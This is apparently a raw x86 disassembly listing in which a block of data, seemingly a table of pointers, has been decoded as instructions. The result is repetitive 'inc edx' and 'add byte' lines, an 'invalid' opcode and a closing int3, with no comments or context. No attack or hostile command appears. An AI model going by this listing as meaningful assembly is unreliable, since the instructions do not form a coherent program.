or al, 0x31
inc edx
add byte [eax + 0x2e], al
inc edx
add byte [ecx + esi], cl
inc edx
add byte [ebx], al
das
inc edx
add byte [ecx + esi], cl
inc edx
add byte [edi + 0x2f], cl
inc edx
add byte [esi], dh
xor byte [edx], al
pop ecx
das
inc edx
add byte [esi], dh
xor byte [edx], al
xor byte [edi], ch
inc edx
add byte [ecx], ah
inc edx
add byte [edx], dl
xor dword [edx], eax
sbb eax, 0x8c004231
xor eax, dword [edx]
arpl word [edx + eax*2], si
add byte [esp + esi + 66], ch
add byte [ebx + esi + 0x34630042], cl
inc edx
add byte [ecx + 0x26], ch
inc edx
add byte [ebx], ah
xor dword [edx], eax
invalid
sub al, byte [edx]
fldcw word [edx]
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebx], ah
xor eax, 0x2baf0042
inc edx
add byte [esi + 0x2b], al
inc edx
add byte [eax], dh
sub eax, dword [edx]
jne 0x443eb5
inc edx
add al, al
sub eax, dword [edx]
mov ch, 0x2b
inc edx
add cl, cl
sub eax, dword [edx]
shr byte [ebx], 0x42
add byte [esi + 44], bl
inc edx
add byte [esi], bl
sub al, 0x42
add byte [eax + 0x2c], dl
inc edx
add byte [eax], al
sub al, 0x42
add byte [eax + 0x2c], dl
inc edx
add byte [eax + 0x2c], dl
inc edx
add byte [eax + 0x2c], dl
inc edx
sub al, 0x42
add byte [edx + 0x2c], dl
inc edx
add byte [esi + 0x2c], bl
inc edx
add byte [ebx], cl
sub al, 0x42
add dl, dh
sub eax, 0x2c730042
inc edx
add ch, dh
sub al, 0x42
add bh, bh
sub al, 0x42
add al, dh
sub eax, 0x2df00042
inc edx
add dl, dh
sub eax, 0x2df00042
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add dl, dh
sub eax, 0x2e030042
inc edx
add byte [eax + 0x900422a], ah
inc edx
add byte [edx], dl
inc edx
add byte [ecx], cl
inc edx
add byte [eax + 0x5300422a], ah
sub al, byte [edx]
insd dword es:[edi], dx
sub al, byte [edx]
jae 0x443f40
inc edx
add byte [edx + esi + 0x350b0042], ah
inc edx
add byte [esi + 0x32a40042], dl
inc edx
add byte [ebx], cl
xor eax, 0x289c0042
inc edx
add byte [edi - 0x39ffbdd0], dh
xor byte [edx], al
mov edx, 0x1e004228
xor al, byte [edx]
xchg edx, eax
xor dword [edx], eax
xchg edx, eax
xor dword [edx], eax
int3